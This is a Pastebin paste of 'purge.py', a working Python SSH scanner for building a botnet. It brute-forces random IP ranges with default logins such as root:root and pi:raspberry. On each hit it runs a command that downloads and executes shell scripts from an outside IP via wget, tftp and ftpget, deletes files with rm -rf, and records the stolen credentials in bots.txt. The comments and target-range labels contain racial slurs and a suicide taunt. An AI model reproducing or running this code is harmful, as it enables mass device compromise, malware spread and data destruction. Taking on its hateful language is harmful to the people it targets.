Guest User

purge.py

a guest
Mar 9th, 2018
41
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
text 8.24 KB | None | 0 0
  1. #!/usr/bin/env python
  2. # Modified by @ch3ats
  3. #oo.ooooo. oooo oooo oooo d8b .oooooooo .ooooo.
  4. # 888' `88b `888 `888 `888""8P 888' `88b d88' `88b
  5. # 888 888 888 888 888 888 888 888ooo888
  6. # 888 888 888 888 888 `88bod8P' 888 .o
  7. # 888bod8P' `V88V"V8P' d888b `8oooooo. `Y8bod8P'
  8. # 888 d" YD
  9. #o888o "Y88888P'
  10. # ~{purge python scanner}~
  11. #You probably wont see this LOL
  12. #
  13. #But Anyways
  14. #Credits
  15. #Cheats
  16. #Void
  17.  
  18. #DO NOT GIVE YOURSELF CREDITS
  19. # Modified by @ch3ats
  20. # If you Have this Kys please
  21. # Usage: python purge.py THREADS RANGES 1(slow but effective) 2(fast but less effective) HERE IS A EXAMPLE
  22. # Examples Below
  23. #set ulimit
  24. #ulimit -n 999999
  25. # python purge.py 500 NIGGER 1 1
  26. # python purge.py 500 TELNET 1 4
  27. # python purge.py 500 BABY 1 6
  28. # python purge.py 500 SATAN 1 3
  29. # python purge.py 500 B 101.109 1
  30. # RANGES 113.53, 119.93, 122.3, 122.52, 101.108, 180.180, 125.27, 101.109,
  31. #passwords 1, 2,3,4,5,6,7
  32. import threading, paramiko, random, socket, time, sys
  33.  
  34. paramiko.util.log_to_file("/dev/null")
  35.  
  36. blacklist = [
  37. '127'
  38. ]
  39.  
  40. passwords = [
  41. "admin:admin"
  42. "root:root"
  43. "root:admin"
  44. "telnet:telnet"
  45. "guest:guest"
  46. "admin:admin"
  47. "admin:1234"
  48. "pi:raspberry"
  49. "vagrant:vagrant"
  50. "ubnt:ubnt"
  51. ]
  52.  
  53.  
  54. if sys.argv[4] == '1':
  55. passwords = ["root:root"]
  56. if sys.argv[4] == '2':
  57. passwords = ["guest:guest"]
  58. if sys.argv[4] == '3':
  59. passwords = ["admin:1234"]
  60. if sys.argv[4] == '4':
  61. passwords = ["telnet:telnet"]
  62. if sys.argv[4] == '5':
  63. passwords = ["root:root", "admin:1234"]
  64. if sys.argv[4] == '6':
  65. passwords = ["root:root", "root:admin"]
  66. if sys.argv[4] == '7':
  67. passwords = ["root:root", "admin:admin", "root:admin", "admin:1234"]
  68. if sys.argv[4] == '8':
  69. passwords = ["root:root", "admin:1234", "root:admin", "user:user", "test:test"]
  70. if sys.argv[4] == 'perl':
  71. passwords = ["pi:raspberry", "vagrant:vagrant", "ubnt:ubnt"]
  72.  
  73. print "\x1b[1;32m************************************\x1b[1;35m"
  74. print "\x1b[1;32m* The Purge Has Begun *\x1b[1;35m"
  75. print "\x1b[1;32m* There Is No Turning Back Now *\x1b[1;35m"
  76. print "\x1b[1;32m************************************\x1b[1;35m"
  77.  
  78. ipclassinfo = sys.argv[2]
  79. if ipclassinfo == "A":
  80. ip1 = sys.argv[3]
  81. elif ipclassinfo == "B":
  82. ip1 = sys.argv[3].split(".")[0]
  83. ip2 = sys.argv[3].split(".")[1]
  84. elif ipclassinfo == "C":
  85. ips = sys.argv[3].split(".")
  86. num=0
  87. for ip in ips:
  88. num=num+1
  89. if num == 1:
  90. ip1 = ip
  91. elif num == 2:
  92. ip2 = ip
  93. elif num == 3:
  94. ip3 = ip
  95. class sshscanner(threading.Thread):
  96. global passwords
  97. global ipclassinfo
  98. if ipclassinfo == "A":
  99. global ip1
  100. elif ipclassinfo == "B":
  101. global ip1
  102. global ip2
  103. elif ipclassinfo == "C":
  104. global ip1
  105. global ip2
  106. global ip3
  107. def run(self):
  108. while 1:
  109. try:
  110. while 1:
  111. thisipisbad='no'
  112. if ipclassinfo == "A":
  113. self.host = ip1+'.'+str(random.randrange(0,256))+'.'+str(random.randrange(0,256))+'.'+str(random.randrange(0,256))
  114. elif ipclassinfo == "B":
  115. self.host = ip1+'.'+ip2+'.'+str(random.randrange(0,256))+'.'+str(random.randrange(0,256))
  116. elif ipclassinfo == "C":
  117. self.host = ip1+'.'+ip2+'.'+ip3+'.'+str(random.randrange(0,256))
  118. elif ipclassinfo == "BABY": # password 6
  119. br = ["179.105","179.152","189.29","189.32","189.33","189.34","189.35","189.39","189.4","189.54","189.55","189.60","189.61","189.62","189.63","189.126"]
  120. self.host = random.choice(br)+'.'+str(random.randrange(0,256))+'.'+str(random.randrange(0,256))
  121. elif ipclassinfo == "LRAB": #password 7
  122. yeet = ["122","119","161","37","186","187","31","188","201","2","168"]
  123. self.host = random.choice(yeet)+'.'+str(random.randrange(0,256))+'.'+str(random.randrange(0,256))+'.'+str(random.randrange(0,256))
  124. elif ipclassinfo == "NIGGER": # password 1
  125. lucky = ["125.27","101.109","113.53","118.173","46.62","5.78","125.25","125.26","182.52","125.24","180.180"]
  126. self.host = random.choice(lucky)+'.'+str(random.randrange(0,256))+'.'+str(random.randrange(0,256))
  127. elif ipclassinfo == "SATAN": #password 3
  128. lucky2 = [ "122.3","122.52","122.54","119.93","124.105","125.104","49.144","49.145","59.69","119.91","119.92","49.146" ]
  129. self.host = random.choice(lucky2)+'.'+str(random.randrange(0,256))+'.'+str(random.randrange(0,256))
  130. elif ipclassinfo == "TELNET": # password 4
  131. lucky2 = [ "103.20","103.30","103.47","103.57","12.188","12.34","13.92","14.150","14.162" ]
  132. self.host = random.choice(lucky2)+'.'+str(random.randrange(0,256))+'.'+str(random.randrange(0,256))
  133. elif ipclassinfo == "RAND":
  134. self.host = str(random.randrange(0,256))+'.'+str(random.randrange(0,256))+'.'+str(random.randrange(0,256))+'.'+str(random.randrange(0,256))
  135. elif ipclassinfo == "INTERNET":
  136. lol = ["1"]
  137. self.host = random.choice(lol)+'.'+str(random.randrange(0,256))+'.'+str(random.randrange(0,256))+'.'+str(random.randrange(0,256))
  138. else:
  139. self.host = str(random.randrange(0,256))+'.'+str(random.randrange(0,256))+'.'+str(random.randrange(0,256))+'.'+str(random.randrange(0,256))
  140. for badip in blacklist:
  141. if badip in self.host:
  142. thisipisbad='yes'
  143. if thisipisbad=='no':
  144. break
  145. username='root'
  146. password=""
  147. port = 22
  148. s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
  149. s.settimeout(3)
  150. s.connect((self.host, port))
  151. s.close()
  152. ssh = paramiko.SSHClient()
  153. ssh.set_missing_host_key_policy(paramiko.AutoAddPolicy())
  154. dobreak=False
  155. for passwd in passwords:
  156. if ":n/a" in passwd:
  157. password=""
  158. else:
  159. password=passwd.split(":")[1]
  160. if "n/a:" in passwd:
  161. username=""
  162. else:
  163. username=passwd.split(":")[0]
  164. try:
  165. ssh.connect(self.host, port = port, username=username, password=password, timeout=3)
  166. dobreak=True
  167. break
  168. except:
  169. pass
  170. if True == dobreak:
  171. break
  172. badserver=True
  173. stdin, stdout, stderr = ssh.exec_command("/sbin/ifconfig")
  174. output = stdout.read()
  175. if "inet addr" in output:
  176. badserver=False
  177. if badserver == False:
  178. print '\x1b[1;32mFound \x1b[1;31m '+self.host+'~\x1b[1;35m'+username+'~\x1b[1;36m'+password+'~\x1b[1;33m'+str(port)
  179. ssh.exec_command("cd /tmp || cd /var/run || cd /mnt || cd /root || cd /; wget http://198.144.181.15/bins.sh; chmod 777 bins.sh; sh bins.sh; tftp 198.144.181.15 -c get tftp1.sh; chmod 777 tftp1.sh; sh tftp1.sh; tftp -r tftp2.sh -g 198.144.181.15; chmod 777 tftp2.sh; sh tftp2.sh; ftpget -v -u anonymous -p anonymous -P 21 198.144.181.15 ftp1.sh ftp1.sh; sh ftp1.sh; rm -rf bins.sh tftp1.sh tftp2.sh ftp1.sh; rm -rf *")
  180. nigger = open("bots.txt", "a").write(username + ":" + password + ":" + self.host + "\n")
  181. time.sleep(15)
  182. ssh.close()
  183. except:
  184. pass
  185.  
  186. for x in range(0,1500):
  187. try:
  188. t = sshscanner()
  189. t.start()
  190. except:
  191. pass
Add Comment
Please, Sign In to add comment